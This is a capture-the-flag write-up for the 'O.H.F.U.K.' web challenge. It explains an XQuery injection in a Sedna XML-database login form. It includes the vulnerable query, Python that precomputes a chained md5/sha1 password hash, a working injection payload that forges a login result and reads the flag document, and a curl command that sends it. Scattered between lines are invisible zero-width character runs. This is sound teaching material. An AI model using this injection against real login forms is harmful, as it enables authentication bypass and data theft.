← Back to Writeups
CUSTOMMediumWeb

O.H.F.U.K.

XESXOR9/2/20262 min read
#web#custom#medium#hash_precomputation#xml_document_extraction#xquery_injection

O.H.F.U.K.

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: hash_precomputation, xml_document_extraction, xquery_injection

Summary

Walkthrough of the CUSTOM Web O.H.F.U.K.. Task: Web application using Sedna XML database with XQuery. Solution: XQuery injection in login field to extract flag document, bypassing authentication by injecting known hash.

Description

Мы наткнулись на сайт, использующий странную технологию. ohfuk.spb.ctf.su/ Сбрутили учётку test : test, достали сорцы (в аттаче), а дальше никак. Сделайте нам SELECT flag FROM flag.

Analysis

Technology Stack

The site uses rare technologies:

  • Sedna — XML database using XQuery (not SQL!)
  • ALX — scripting language (similar to PHP), source file index.alx
  • Login form with known credentials test:test

Vulnerability — XQuery Injection

The login field is directly concatenated into the XQuery expression without sanitization: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

xquery
for $user in doc("users")/user
return (
    if ($user/login = "' + login + '") then
        ( <result>{$user/hash}{$user/level}</result> )
    else ( )
)

Authentication Mechanism

The password is hashed as md5(sha1(md5(password))) and compared with the stored hash:

python
import hashlib
p = 'test'
h = hashlib.md5(p.encode()).hexdigest()
h = hashlib.sha1(h.encode()).hexdigest()
h = hashlib.md5(h.encode()).hexdigest()
# Result: 54640093f5e4052d9aeda7f90b0b6324

Solution

Step 1: Computing the Hash

To bypass password verification, we need the hash for "test":

python
#!/usr/bin/env python3
import hashlib
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

password = 'test'
h = hashlib.md5(password.encode()).hexdigest()
h = hashlib.sha1(h.encode()).hexdigest()
h = hashlib.md5(h.encode()).hexdigest()
print(h)  # 54640093f5e4052d9aeda7f90b0b6324

Step 2: Crafting the XQuery Injection

The goal is to read doc("flag") from the Sedna XML database. The injection must:

  1. Properly close the original if condition
  2. Return a <result> element with a known hash (to pass password verification) and the flag content in the <level> field (which is displayed)
  3. Maintain syntactic correctness of the remaining query ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload for the login field:

test") then (<result><hash>54640093f5e4052d9aeda7f90b0b6324</hash><level>{doc("flag")//text()}</level></result>) else if ("1"="1

This transforms the XQuery into:

xquery
for $user in doc("users")/user
return (
    if ($user/login = "test") then 
        (<result><hash>54640093f5e4052d9aeda7f90b0b6324</hash><level>{doc("flag")//text()}</level></result>) 
    else if ("1"="1") then
        ( <result>{$user/hash}{$user/level}</result> )
    else ( )
)

Step 3: Executing the Attack

bash
curl -s -X POST \
  --data-urlencode 'login=test") then (<result><hash>54640093f5e4052d9aeda7f90b0b6324</hash><level>{doc("flag")//text()}</level></result>) else if ("1"="1' \
  --data-urlencode 'pass=test' \
  https://ohfuk.spb.ctf.su/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

html
<h2>Welcome, test"...(injection).... You have access level FLAG IS: REDACTED</h2>

Failed Attempts

  • First attempt with doc("flag") returned empty result — needed //text() to extract text content
  • HTTP POST on port 80 redirected to HTTPS and converted to GET, losing the POST body — needed to POST directly to HTTPS ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering hash_precomputation, xml_document_extraction, xquery_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-17 • CUSTOM • O.H.F.U.K. • Difficulty: Medium